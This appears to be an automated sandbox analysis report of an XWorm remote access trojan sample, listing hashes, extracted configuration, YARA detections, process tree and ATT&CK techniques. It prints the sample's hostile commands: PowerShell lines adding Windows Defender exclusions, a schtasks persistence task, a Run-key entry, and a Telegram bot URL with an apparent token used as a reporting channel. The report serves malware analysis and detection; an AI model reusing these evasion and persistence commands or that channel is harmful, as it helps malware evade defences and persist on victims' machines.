xworm | de3cd57bcd5e79ce919a67d56c246af488e44a8660112b8864069818a2e47cff

General

Target

a9eb43b68ccf19cd992c9386d6982ae0N.exe
Size

77KB
MD5

a9eb43b68ccf19cd992c9386d6982ae0
SHA1

079d4e64a8bbaaea3d41e6506152464ea52dfe93
SHA256

de3cd57bcd5e79ce919a67d56c246af488e44a8660112b8864069818a2e47cff
SHA512

ddf73e3d970d4996d11a6da06d77b7b5de1d291c8a6d14fa862ac209380aabf1d636371f1a22305711d922091987c914b6a017ecfb79db9f384fed93e4562fe6
SSDEEP

1536:v5Nh5AUOIQsp17b5++8IsB5Lj62I8nSOsu/emwmHv:v5NE50Pb8+gSOl/syv

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:7000

Attributes

Install_directory
%Temp%
install_file
main.exe
telegram
https://api.telegram.org/bot6921836587:AAFieuB3TYRpf6Wxy5dxRjmAM6gvVtXvWOY/sendMessage?chat_id=5424027834

Signatures

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral1/memory/2692-1-0x00000000003B0000-0x00000000003CA000-memory.dmp	family_xworm
behavioral1/files/0x000c000000012270-35.dat	family_xworm
behavioral1/memory/1916-37-0x00000000013A0000-0x00000000013BA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2176	powershell.exe
2732	powershell.exe
1936	powershell.exe
2656	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.lnk	a9eb43b68ccf19cd992c9386d6982ae0N.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.lnk	a9eb43b68ccf19cd992c9386d6982ae0N.exe

Executes dropped EXE 2 IoCs

pid	Process
1916	main.exe
944	main.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Run\main = "C:\\Users\\Admin\\AppData\\Local\\Temp\\main.exe"	a9eb43b68ccf19cd992c9386d6982ae0N.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
880	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2176	powershell.exe
2732	powershell.exe
1936	powershell.exe
2656	powershell.exe
2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe
Token: SeDebugPrivilege	1916	main.exe
Token: SeDebugPrivilege	944	main.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2176	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	31
PID 2692 wrote to memory of 2176	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	31
PID 2692 wrote to memory of 2176	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	31
PID 2692 wrote to memory of 2732	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	33
PID 2692 wrote to memory of 2732	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	33
PID 2692 wrote to memory of 2732	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	33
PID 2692 wrote to memory of 1936	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	35
PID 2692 wrote to memory of 1936	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	35
PID 2692 wrote to memory of 1936	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	35
PID 2692 wrote to memory of 2656	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	37
PID 2692 wrote to memory of 2656	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	37
PID 2692 wrote to memory of 2656	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	37
PID 2692 wrote to memory of 880	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	39
PID 2692 wrote to memory of 880	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	39
PID 2692 wrote to memory of 880	2692	a9eb43b68ccf19cd992c9386d6982ae0N.exe	39
PID 1920 wrote to memory of 1916	1920	taskeng.exe	43
PID 1920 wrote to memory of 1916	1920	taskeng.exe	43
PID 1920 wrote to memory of 1916	1920	taskeng.exe	43
PID 1920 wrote to memory of 944	1920	taskeng.exe	44
PID 1920 wrote to memory of 944	1920	taskeng.exe	44
PID 1920 wrote to memory of 944	1920	taskeng.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\a9eb43b68ccf19cd992c9386d6982ae0N.exe
"C:\Users\Admin\AppData\Local\Temp\a9eb43b68ccf19cd992c9386d6982ae0N.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a9eb43b68ccf19cd992c9386d6982ae0N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'a9eb43b68ccf19cd992c9386d6982ae0N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\main.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'main.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "main" /tr "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:880

C:\Windows\system32\taskeng.exe
taskeng.exe {AE93ACD9-54A3-45CE-8F7D-5AC07933A432} S-1-5-21-940600906-3464502421-4240639183-1000:MGWWAYYN\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Users\Admin\AppData\Local\Temp\main.exe
  C:\Users\Admin\AppData\Local\Temp\main.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1916
- C:\Users\Admin\AppData\Local\Temp\main.exe
  C:\Users\Admin\AppData\Local\Temp\main.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\main.exe

Filesize
77KB

MD5
a9eb43b68ccf19cd992c9386d6982ae0

SHA1
079d4e64a8bbaaea3d41e6506152464ea52dfe93

SHA256
de3cd57bcd5e79ce919a67d56c246af488e44a8660112b8864069818a2e47cff

SHA512
ddf73e3d970d4996d11a6da06d77b7b5de1d291c8a6d14fa862ac209380aabf1d636371f1a22305711d922091987c914b6a017ecfb79db9f384fed93e4562fe6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c7509bf1767d37eb567cd580b0abb5ff

SHA1
f151ab6d4aaef302a510fe3f08755568100e9522

SHA256
9a6ceb53a7d68300a0fcfb37cfc8ddcb4332f2aadf7f7ce3143006c0b2a2e19a

SHA512
988ea25279875ebe503ed8a6f3d2a345fe0a58a38f5b0f9a4a1b0ac1c23a75378a1ca819e76f27359f5b0ef71f984c2cd5d69e4e5a651a29c63f7c3b1ed904f8

Download Submit
memory/1916-37-0x00000000013A0000-0x00000000013BA000-memory.dmp

Filesize
104KB

Download
memory/2176-7-0x00000000023B0000-0x0000000002430000-memory.dmp

Filesize
512KB

Download
memory/2176-8-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2176-9-0x0000000001C80000-0x0000000001C88000-memory.dmp

Filesize
32KB

Download
memory/2692-2-0x000007FEF5F40000-0x000007FEF692C000-memory.dmp

Filesize
9.9MB

Download
memory/2692-0-0x000007FEF5F43000-0x000007FEF5F44000-memory.dmp

Filesize
4KB

Download
memory/2692-32-0x000007FEF5F43000-0x000007FEF5F44000-memory.dmp

Filesize
4KB

Download
memory/2692-33-0x000007FEF5F40000-0x000007FEF692C000-memory.dmp

Filesize
9.9MB

Download
memory/2692-1-0x00000000003B0000-0x00000000003CA000-memory.dmp

Filesize
104KB

Download
memory/2732-15-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2732-16-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads